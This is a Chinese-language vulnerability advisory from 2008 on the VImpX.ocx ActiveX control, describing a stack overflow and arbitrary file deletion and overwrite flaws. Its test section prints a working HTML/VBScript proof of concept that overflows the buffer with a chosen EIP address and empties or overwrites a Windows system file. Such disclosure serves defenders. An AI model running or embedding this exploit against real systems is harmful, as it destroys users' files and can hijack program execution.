VImpX.ocx ActiveX控件多个文件破坏漏洞
发布日期：2008-10-24
更新日期：2008-10-27
受影响系统：DB Software Laboratory VImpX 4.8.8.0
DB Software Laboratory VImpX 4.7.3.0
描述：
BUGTRAQ ID:
31907
CVE(CAN) ID:
CVE-2008-4750,
CVE-2008-4749
VImpX ActiveX控件允许跨表格或ODBC数据源将数据导入到Oracle、SQL Server或ODBC数据库中。
VImpX.ocx ActiveX控件（VImpX.ocx，CLSID 7600707B-9F47-416D-8AB5-6FD96EA37968）中存在多个文件破坏漏洞。如果传送了超过256字节的超长字符串的话，就可能触发栈溢出；LogFile()方式没有检查用户提供的参数，可以使用这个函数储存想要清除的文件名，然后使用ClearLogFile()删除文件内容；SaveToFile()方式没有检查用户提供的参数，可以用于覆盖参数中所传送文件名的内容。
<*来源：shinnai （
shinnai@autistici.org）
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='test' width='20' height='20'></object>
<input language=VBScript onclick=bof() type=button value='Click here to start the Remote Buffer Overflow test' style="width: 361px; height: 24px" size=21>
<input language=VBScript onclick=afd() type=button value='Click here to start the File Content Deletion test' style="width: 361px; height: 24px" size=21>
<input language=VBScript onclick=afc() type=button value='Click here to start the File Content Corruption test' style="width: 361px; height: 24px" size=21>
<script language='vbscript'>
Sub bof
buff = String(256,"A")
EDI = unescape("BBBB")
ESI = unescape("CCCC")
EBX = unescape("DDDD")
EIP = unescape("%C6%91%3A%7E") 'unescape("EEEE")
buf2 = unescape("FFFFFFFFFFFFFFFFFFFF")
memo = unescape("%00%00%01%00")
rest = unescape("GGGG") + String(2000, "H")
egg = buff + EDI + ESI + EBX + EIP + buf2 + memo + rest
test.LogFile = egg
End Sub
Sub afd
test.LogFile = "C:\WINDOWS\_system.ini"
test.ClearLogFile
MsgBox "Exploit completed..."
End Sub
Sub afc
test.SaveToFile "C:\WINDOWS\_system.ini"
MsgBox "Exploit completed..."
End Sub
</script>
建议：
厂商补丁：
DB Software Laboratory
----------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.dbsoftlab.com/e107_plugins/content/content.php?content.53浏览次数：2621
严重程度：0（网友投票）
